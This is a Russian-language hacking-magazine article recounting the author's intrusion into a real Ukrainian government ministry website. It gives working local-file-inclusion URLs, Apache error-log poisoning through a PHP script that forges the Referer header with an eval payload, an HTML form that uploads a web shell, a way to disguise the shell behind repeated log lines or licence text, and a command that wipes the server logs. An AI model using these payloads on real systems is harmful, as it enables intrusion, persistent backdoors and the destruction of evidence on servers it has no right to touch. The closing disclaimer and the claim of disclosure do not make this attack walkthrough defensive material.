В последнее время мне все чаще попадаются уязвимые государственные сайты. А
причина банальна: сайты даже такого уровня поручают писать непрофессионалам, за
состоянием сайта не следят, саппорт емейл не проверяет. Аудит безопасности
считают роскошью, хотя на самом деле это необходимость, а также залог успеха и
пользователей.

Цель этого взлома не нажива или выгода с залитого шелла. Хочется показать,
насколько бывают уязвимы сайты высочайшего уровня. Казалось бы, защита их должна
быть на первом месте, ведь нетрудно представить, что за собой влечет взлом
государственного сайта. Что, если проникнуть в локальную сеть и получить доступ
к компьютерам, на которых хранится информация, например, о внешнем независимом
тестировании (в случае сайта МОН Украины)? Что тогда? Возможно, будет под
вопросом подлинность сертификатов, которые требует каждое высшее учебное
заведение? Поспешу успокоить: делать я этого не стал, а обо всех ошибках сообщил
на электронный адрес поддержки сайта.

 

Выбираем жертву

Не знаю, как тебе, а мне легче искать уязвимости под какую-нибудь веселую
музыку. Включаю Disturbed — Perfect Insanity и открываю Гугл. Вбиваем запрос "міністерство"
и видим ни много, ни мало 15400000 результатов. Сразу открываю первую ссылку и
попадаю на сайт Министерства образования и науки Украины.

Сразу бросилось в глаза, что сверху надпись "The official site 2004", а
новости — свеженькие. "Давненько не обновлялись", — подумал я и пробежался
мышкой по менюшке, смотря за статус баром. Все линки вида http://site/dir.
Возможно, настроен mode_rewrite, но после клика по ссылке увидел в адресной
строке: http://www.mon.gov.ua/main.php?query=zno. Попробовал на раскрытие путей,
заменив параметр "query" на "query[]", но не тут-то было: ошибка не вывелась,
хотя верстка явно поехала. Либо выключен вывод ошибок, либо уязвимости тут
просто нет. Я чувствовал, что все же уязвимость есть, и решил проверить на RFI.
И опять никакого результата.

Что ж, можно попробовать подобрать путь к корню сервера, так как запущенный
сканер не нашел мне phpinfo. Но сначала нужно убедиться, действительно ли это
Local File Inclusion, и есть ли возможность обрезать нулл-байтом расширение. Я
просто попытался заинклудить уязвимый файл:

http://www.mon.gov.ua/main.php?query=main.php%00

В результате, страничка начала выводиться бесконечное количество раз, образуя
пирамидку. Это свидетельствует о том, что уязвимость существует, но пока мы не
можем точно сказать, удаленный или локальный инклуд.

Вот еще пример не только LFI, но и Looped DoS. Таким запросом можно запросто
"уложить" сайт. Быстро остановивши загрузку страницы, я начал подставлять в
запрос символы выхода из директории. Путь подобрал с третьего раза. Думаю, ты
понял, сколько там должно быть "../"?

 

Forbbiden: анализируем ситуацию

Насколько же стало легче заливать шеллы, после того как додумались
использовать /proc/self/environ! Послал POST-запрос с поддельным User-Agent’ом и
все дела. Попробуем и мы:

http://www.mon.gov.ua/main.php?query=../../../proc/self/environ%00

Облом, никакого вывода. Но есть же логи апача! Пробуем…

main.php?query=../../../proc/self/fd/2%00

И что же?

[Sun Nov 15 07:41:42 2009] [error] [client 92.249.112.225] client
denied by server configuration: /usr/share/phpMyAdmin/
[Sun Nov 15 08:43:31 2009] [error] [client 65.55.109.220] client denied by
server configuration: /usr/share/phpMyAdmin/phpAdsNew, referer:
http://xxxx.us/album/thumbnails.php?album=search&search=releases

Причем весь лог такой. "Хм, на лог доступа не совсем похоже". И правильно,
потому что в здесь только ошибка № 403 – Forbbiden. User-Agent не пишется в этот
лог, но пишется Referer, который точно так же легко подделывается. Главное –
найти страницу, которая нам бы выдала заветную ошибку 403. Пересмотрев лог,
становится понятно – это phpMyAdmin. Проверяем, открыв в браузере страницу: http://www.mon.gov.ua/phpMyAdmin
и получаем нужный нам ответ от сервера. Напишем простенький скрипт на PHP для
подделки Referera’a:

<?php
$server = '212.111.193.189';
$dir = '/phpMyAdmin/';
$evilcode = '<?php eval($_REQUEST[ev]); ?>';

$header = "GET " .$dir. " HTTP/1.0\r\n";
$header .= "Host: " .$server. "\r\n";
$header .= "Referer: " .$evilcode. "\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = fsockopen($server, 80);
if(!$fp) { die("[ X ] Connection failed");} else { echo "[ ~ ] Connection
successful \r\n";}
if(fputs($fp,$header)) {echo "[ ~ ] Data sended! \r\n";} else { die("[ X ] Error
While sending headers!"); }
$result = fgets($fp, 128);
if(strpos($result,'Forbidden')) echo "[ ~ ] Successful! \r\n"; else die("[ X ]
Failed!");

?>

Если тебе лень писать скрипт, можешь использовать уже готовые
автоматизированные программы, подойдет любая, например InetCrack, HttpREQ от
[x26]VOLAND, или обойтись плагинами для FireFox.

 

Заливаем шелл

После того, как мы выполнили запрос, он должен записаться в лог. Так как мы
заменили реферер, лог должен принять вид:

[Xxx Xxx xx xx:xx:xx 2009] [error] [client xx.xx.xx.xx] client denied
by server configuration: /usr/share/phpMyAdmin/ , referer: <?php eval($_REQUEST[ev]);
?>

Следовательно, при загрузке лога через уязвимый скрипт выполнится наш код.
Проверим в браузере:


http://www.mon.gov.ua/main.php?query=../../../proc/self/fd/2%00&ev=ls+la

Свершилось, мы увидели список директорий. Пытаюсь залить шелл известными
качалками типа wget, get, links, lynx но ничего не получается. Пробую сделать
html-форму для заливки шелла:

<form action="http://www.mon.gov.ua/main.php?query=../../../proc/self/fd/2%00&ev=copy($_FILES[file][tmp_name],
$_GET[aa]);&aa=./mon.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br>
<input type="submit" value="Загрузить"><br>
</form>

Спокойно заливаю шелл со своего компьютера и захожу на него, ввожу пароль
(никогда не забывай ставить уникальные пароли на шеллы). Просмотрев листинг
файлов, увидел 2 пустых файла с названием error.php и error. Прекрасная
возможность спрятать наш шелл. Беру тот же лог с ошибками, вставляю в начало
файла. Выглядит примерно так:

<?php/*
[Mon Nov 16 11:14:07 2009] [error] [client ::1] client denied by server
configuration: /usr/share/phpMyAdmin/
[Mon Nov 16 11:14:08 2009] [error] [client ::1] client denied by server
configuration: /usr/share/phpMyAdmin/
[Mon Nov 16 11:14:14 2009] [error] [client ::1] client denied by server
configuration: /usr/share/phpMyAdmin/
[Mon Nov 16 11:14:15 2009] [error] [client ::1] client denied by server
configuration: /usr/share/phpMyAdmin/
[Mon Nov 16 11:14:18 2009] [error] [client ::1] client denied by server
configuration: /usr/share/phpMyAdmin/
...
*/ много возвратов каретки?>
<?PHP
//Authentication
$login = ""; //Login
$pass = ""; //Pass
... ?>

Думаю, не стоит объяснять, что строчку из лог-файла необходимо повторить
много раз. Этим методом пользуются часто, так что можешь взять на заметку при
поиске шелла. Также можно вставлять в начало текст лицензий или копирайты
движка, на котором стоит сайт. Обычно, после того как админ увидит текст
лицензии GNU, не задумываясь, он закрывает файл, что и надо атакующему.

После взлома следует удалять логи. Слава Богу, у меня хватило прав, и я
сделал "rm –rf /var/log/httpd/".

 

Заключение

Хочу сказать: не стоит ломать сайты, это карается законом. Но если ты все же
решился, будь "белым" и сообщи администраторам о брешах в их системе (как сразу
сделал я после взлома).

 

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!

Оставить мнение

Check Also

WWW: Airmash — масштабное воздушное сражение в твоем браузере

Браузерные игры, которые стоит только открыть, чтобы оказаться в пылу битвы, — это особо б…